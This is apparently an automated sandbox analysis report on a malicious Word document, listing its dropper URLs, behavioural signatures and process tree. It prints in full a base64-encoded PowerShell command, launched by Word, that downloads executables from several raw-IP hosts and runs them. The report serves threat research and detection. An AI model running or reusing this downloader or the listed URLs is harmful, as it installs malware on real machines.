Analysis
- max time kernel
103s - max time network
126s - platform
windows10-2004_x64 - resource
win10v2004-20240426-en - resource tags
- submitted
03/06/2024, 10:51
General
- Target 91820803e8d49a18156d53ba27357ccf_JaffaCakes118.doc
- Size 326KB
- Sample240603-mx3xbsdc33
- SHA256 58bff5082c2a1bdf4a1e7d7c5b65d71cfc4bca9a8d47e08ae7f2a87ecfd068fc
Malware Config
Extracted
-
ps1
-
exe.dropper
http://128.199.187.124/ibtfjA1
-
exe.dropper
http://104.223.40.40/Sn0vcAys
-
exe.dropper
http://178.62.102.110/arpEV6rChy
-
exe.dropper
http://115.66.127.67/3ioVsDXkX
-
exe.dropper
http://207.154.223.104/1UcvZyZsF
Signatures
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blocklisted process makes network request 7 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 7 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\91820803e8d49a18156d53ba27357ccf_JaffaCakes118.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powersheLl.exepowersheLl -e JAB3ADAANQAxADgANgBfAF8APQAoACcAdgA3AF8AMAAnACsAJwA5ACcAKwAnAF8AJwApADsAJABFADQAXwA5ADAAXwA9AG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAJABhADkAXwBfADkAOAA9ACgAJwBoAHQAJwArACcAdABwADoALwAvACcAKwAnADEAMgA4AC4AJwArACcAMQAnACsAJwA5ADkALgAxADgAJwArACcANwAnACsAJwAuADEAMgA0AC8AaQAnACsAJwBiAHQAZgAnACsAJwBqAEEAMQBAAGgAdAB0AHAAOgAvAC8AJwArACcAMQAnACsAJwAwADQAJwArACcALgAyADIAMwAuADQAJwArACcAMAAuADQAMAAvACcAKwAnAFMAbgAwAHYAYwBBAHkAcwBAAGgAdAB0AHAAOgAvAC8AMQA3ADgAJwArACcALgA2ADIALgAxADAAMgAuADEAMQAwACcAKwAnAC8AYQByACcAKwAnAHAARQBWACcAKwAnADYAcgBDAGgAJwArACcAeQBAAGgAdAB0AHAAOgAvAC8AJwArACcAMQAnACsAJwAxACcAKwAnADUALgA2ADYALgAxADIANwAuACcAKwAnADYAJwArACcANwAvADMAJwArACcAaQBvAFYAJwArACcAcwBEACcAKwAnAFgAawBYAEAAaAAnACsAJwB0ACcAKwAnAHQAJwArACcAcAA6ACcAKwAnAC8ALwAyADAAJwArACcANwAuADEAJwArACcANQA0AC4AMgAyACcAKwAnADMALgAxADAANAAnACsAJwAvADEAVQBjAHYAWgAnACsAJwB5AFoAJwArACcAcwBGACcAKQAuAFMAcABsAGkAdAAoACcAQAAnACkAOwAkAEQAXwA4AF8AOAA3AF8APQAoACcATgAwACcAKwAnADMANgAnACsAJwA4AF8AXwAnACkAOwAkAGMAMQA4ADkAMAA5ACAAPQAgACgAJwA0ADAAJwArACcANgAnACkAOwAkAGkAXwBfADkAMgAzADEAPQAoACcATwBfADcAMAA0ADQAJwArACcAOAAnACkAOwAkAGoAOAA0ADgAMQAxADQAMgA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAYwAxADgAOQAwADkAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABRADMAXwAyADMAMAA4ADUAIABpAG4AIAAkAGEAOQBfAF8AOQA4ACkAewB0AHIAeQB7ACQARQA0AF8AOQAwAF8ALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACQAUQAzAF8AMgAzADAAOAA1ACwAIAAkAGoAOAA0ADgAMQAxADQAMgApADsAJABDADIAXwA0ADIAMQA9ACgAJwBpAF8ANgA3ACcAKwAnADEANAAnACkAOwBJAGYAIAAoACgARwBlAHQALQBJAHQAZQBtACAAJABqADgANAA4ADEAMQA0ADIAKQAuAGwAZQBuAGcAdABoACAALQBnAGUAIAA0ADAAMAAwADAAKQAgAHsASQBuAHYAbwBrAGUALQBJAHQAZQBtACAAJABqADgANAA4ADEAMQA0ADIAOwAkAG0ANwA0ADYANwAwADgAPQAoACcASQAnACsAJwA4ACcAKwAnAF8AMQBfADMAMQAnACkAOwBiAHIAZQBhAGsAOwB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAUgA0ADkANQBfAF8AXwA9ACgAJwBJACcAKwAnAF8AJwArACcAXwA0ADkANAA0ACcAKQA7AA==1⤵
- Process spawned unexpected child process
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
sist02.xsl
__PSScriptPolicyTest_bzax33oz.x33.ps1
memory/380-20-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp
memory/380-550-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp
memory/380-5-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp
memory/380-4-0x00007FFE5CEED000-0x00007FFE5CEEE000-memory.dmp
memory/380-554-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp
memory/380-7-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp
memory/380-8-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp
memory/380-9-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp
memory/380-11-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp
memory/380-10-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp
memory/380-12-0x00007FFE1A710000-0x00007FFE1A720000-memory.dmp
memory/380-13-0x00007FFE1A710000-0x00007FFE1A720000-memory.dmp
memory/380-3-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp
memory/380-0-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp
memory/380-6-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp
memory/380-552-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp
memory/380-1-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp
memory/380-2-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp
memory/380-497-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp
memory/380-525-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp
memory/380-526-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp
memory/380-553-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp
memory/380-551-0x00007FFE1CED0000-0x00007FFE1CEE0000-memory.dmp
memory/380-27-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp
memory/616-532-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp
memory/616-527-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp
memory/616-34-0x00000289D7CC0000-0x00000289D7CE2000-memory.dmp
memory/616-28-0x00007FFE5CE50000-0x00007FFE5D045000-memory.dmp